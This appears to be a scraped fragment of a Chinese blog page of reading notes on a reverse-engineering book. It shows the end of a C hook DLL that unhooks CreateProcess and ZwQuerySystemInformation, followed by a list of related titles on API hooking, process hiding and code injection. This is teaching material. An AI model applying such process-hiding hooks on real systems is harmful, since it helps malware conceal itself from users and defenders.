unhook_by_hotpatch("kernel32.dll", "CreateProcessA"); unhook_by_hotpatch("kernel32.dll", "CreateProcessW"); unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI); break; } return TRUE;}
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(二)
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(二)
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(一)
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(一)
- 逆向工程核心原理读书笔记-API钩取之记事本小写转大写
- 逆向工程核心原理读书笔记-API钩取之计算器显示中文数字
- 逆向工程核心原理读书笔记-API钩取之IE浏览器连接控制
- 逆向工程核心原理读书笔记-API钩取之记事本小写转大写
- 逆向工程核心原理读书笔记-API钩取之计算器显示中文数字
- 逆向工程核心原理读书笔记-API钩取之IE浏览器连接控制
- 《逆向工程核心原理》<04-30> 通过Debug修改代码实现API钩取的技术
- 《逆向工程核心原理》<04-34> 高级全局API钩取
- 《逆向工程核心原理》<04-33> 通过DLL注入修改API代码实现API钩取的技术
- 逆向工程核心原理读书笔记-代码注入
- 逆向工程核心原理读书笔记-代码注入
- 《逆向工程核心原理》
- 《逆向工程核心原理》
- 逆向工程核心原理
- ubuntu下如何转换python的版本
- Linux命令--scp命令
- spring源码学习 [Day001 / 005]
- 集合(List,Set)知识小结(一)
- 机器学习实战笔记(1)——k-近邻算法
- 逆向工程核心原理读书笔记-API钩取之隐藏进程(二)
- yanghui Triangle
- 简单的mysql语句总结
- Python学习笔记(三):进程与线程
- hihocoder #1038 01背包 一维数组实现
- POJ2739:Sum of Consecutive Prime Numbers(简单数论)
- bzoj2002 弹飞绵羊2
- 条形码--JsBarcode
- C 练习实例8